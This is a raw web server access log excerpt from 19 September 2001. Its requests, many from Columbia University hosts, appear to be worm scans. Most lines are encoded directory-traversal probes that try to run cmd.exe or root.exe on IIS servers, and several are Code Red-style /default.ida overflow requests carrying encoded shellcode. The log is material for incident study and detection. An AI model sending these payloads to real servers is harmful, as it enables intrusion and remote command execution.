  12079. 20010919 20:44:41:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12080. 20010919 20:44:59:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12081. 20010919 20:45:18:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12082. 20010919 20:45:36:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12083. 20010919 20:45:54:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12084. 20010919 20:46:12:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12085. 20010919 20:46:30:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12086. 20010919 20:55:00:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12087. 20010919 20:55:19:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12088. 20010919 20:55:37:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12089. 20010919 20:55:55:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12090. 20010919 20:56:13:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12091. 20010919 20:56:31:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12092. 20010919 20:56:50:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12093. 20010919 20:57:08:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12094. 20010919 20:57:26:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12095. 20010919 20:57:44:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12096. 20010919 20:58:02:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12097. 20010919 20:58:21:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12098. 20010919 20:58:39:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12099. 20010919 20:58:57:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12100. 20010919 20:59:15:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12101. 20010919 20:59:34:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12102. 20010919 20:59:52:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12103. 20010919 21:00:10:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12104. 20010919 21:00:28:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12105. 20010919 21:00:47:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12106. 20010919 21:01:05:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12107. 20010919 21:01:24:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12108. 20010919 21:01:42: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12109. 20010919 21:01:42:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12110. 20010919 21:02:01:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12111. 20010919 21:02:19:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12112. 20010919 21:02:37:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12113. 20010919 21:02:55:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12114. 20010919 21:03:13:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12115. 20010919 21:03:31:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12116. 20010919 21:03:50:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12117. 20010919 21:04:08:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12118. 20010919 21:04:26:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12119. 20010919 21:04:44:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12120. 20010919 21:05:02:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12121. 20010919 21:05:20:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12122. 20010919 21:05:39:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12123. 20010919 21:05:57:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12124. 20010919 21:06:15:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12125. 20010919 21:06:33:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12126. 20010919 21:06:51:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12127. 20010919 21:07:10:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12128. 20010919 21:07:28:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12129. 20010919 21:07:46:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12130. 20010919 21:08:04:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12131. 20010919 21:08:22:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12132. 20010919 21:08:40:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12133. 20010919 21:08:59:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12134. 20010919 21:09:17: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12135. 20010919 21:29:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12136. 20010919 21:29:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12137. 20010919 21:29:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12138. 20010919 21:29:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12139. 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12140. 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12141. 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12142. 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12143. 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12144. 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12145. 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12146. 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12147. 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12148. 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12149. 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12150. 20010919 21:29:31:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12151. 20010919 21:30:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12152. 20010919 21:30:25:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12153. 20010919 21:30:43: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12154. 20010919 21:30:43:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12155. 20010919 21:31:02: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12156. 20010919 21:31:02:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12157. 20010919 21:31:20: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12158. 20010919 21:31:20:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12159. 20010919 21:31:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12160. 20010919 21:31:38:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12161. 20010919 21:31:56: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12162. 20010919 21:31:56:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12163. 20010919 21:32:14: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12164. 20010919 21:32:14:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12165. 20010919 21:32:33: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12166. 20010919 21:32:33:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12167. 20010919 21:32:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12168. 20010919 21:32:51:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12169. 20010919 21:33:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12170. 20010919 21:33:09:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12171. 20010919 21:33:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12172. 20010919 21:33:27: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12173. 20010919 21:33:27:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12174. 20010919 21:33:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12175. 20010919 21:33:46:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12176. 20010919 21:34:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12177. 20010919 21:34:04:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12178. 20010919 21:34:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12179. 20010919 21:34:22:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12180. 20010919 21:34:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12181. 20010919 21:34:40:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12182. 20010919 21:34:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12183. 20010919 21:34:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12184. 20010919 21:41:36: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12185. 20010919 21:41:36: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12186. 20010919 21:41:36: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12187. 20010919 21:41:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12188. 20010919 21:41:39: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12189. 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12190. 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12191. 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12192. 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12193. 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12194. 20010919 21:41:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12195. 20010919 21:41:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12196. 20010919 21:41:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12197. 20010919 21:41:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12198. 20010919 21:41:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12199. 20010919 21:41:46:  [210.241.36.206] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12200. 20010919 21:50:02:  [210.241.36.206] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12201. 20010919 21:50:22:  [210.241.36.206] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12202. 20010919 21:50:41:  [210.241.36.206] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12203. 20010919 21:51:00:  [210.241.36.206] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12204. 20010919 21:51:20:  [210.241.36.206] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12205. 20010919 21:51:39:  [210.241.36.206] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12206. 20010919 21:51:58:  [210.241.36.206] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12207. 20010919 21:52:18:  [210.241.36.206] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12208. 20010919 21:52:37:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12209. 20010919 21:52:55:  [210.241.36.206] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12210. 20010919 21:53:13:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12211. 20010919 21:53:31:  [210.241.36.206] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12212. 20010919 21:53:50:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12213. 20010919 21:54:08:  [210.241.36.206] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12214. 20010919 21:54:26:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12215. 20010919 21:54:44:  [210.241.36.206] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12216. 20010919 21:55:02:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12217. 20010919 21:55:21:  [210.241.36.206] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12218. 20010919 21:55:39:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12219. 20010919 21:55:57:  [210.241.36.206] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12220. 20010919 21:56:15:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12221. 20010919 21:56:33:  [210.241.36.206] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12222. 20010919 21:56:51:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12223. 20010919 21:57:10: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12224. 20010919 21:57:10:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12225. 20010919 21:57:28:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12226. 20010919 21:57:46:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12227. 20010919 21:58:04:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12228. 20010919 21:58:22:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12229. 20010919 21:58:40:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12230. 20010919 21:58:59:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12231. 20010919 21:59:17:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12232. 20010919 21:59:35:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12233. 20010919 21:59:53:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12234. 20010919 22:00:11:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12235. 20010919 22:00:30:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12236. 20010919 22:00:48:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12237. 20010919 22:01:06:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12238. 20010919 22:01:24:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12239. 20010919 22:01:42:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12240. 20010919 22:02:00:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12241. 20010919 22:02:19:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12242. 20010919 22:02:37:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12243. 20010919 22:02:55:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12244. 20010919 22:03:13:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12245. 20010919 22:03:31:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12246. 20010919 22:03:50:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12247. 20010919 22:04:08:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12248. 20010919 22:04:26: owa.kicker.de [212.34.173.42] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12249. 20010919 22:07:51: owa.kicker.de [212.34.173.42] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12250. 20010919 22:07:52: owa.kicker.de [212.34.173.42] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12251. 20010919 22:07:52: owa.kicker.de [212.34.173.42] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12252. 20010919 22:07:53: owa.kicker.de [212.34.173.42] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12253. 20010919 22:07:57: owa.kicker.de [212.34.173.42] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12254. 20010919 22:07:58: owa.kicker.de [212.34.173.42] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12255. 20010919 22:07:59: owa.kicker.de [212.34.173.42] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12256. 20010919 22:07:59: owa.kicker.de [212.34.173.42] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12257. 20010919 22:08:00: owa.kicker.de [212.34.173.42] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12258. 20010919 22:08:01: owa.kicker.de [212.34.173.42] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12259. 20010919 22:08:02: owa.kicker.de [212.34.173.42] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12260. 20010919 22:08:03: owa.kicker.de [212.34.173.42] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12261. 20010919 22:08:03: owa.kicker.de [212.34.173.42] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12262. 20010919 22:08:07: owa.kicker.de [212.34.173.42] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12263. 20010919 22:08:08: owa.kicker.de [212.34.173.42] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12264. 20010919 22:08:09: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12265. 20010919 22:09:03:  [128.121.239.8] "GET /scripts/root.exe?/c+dir HTTP/1.0"
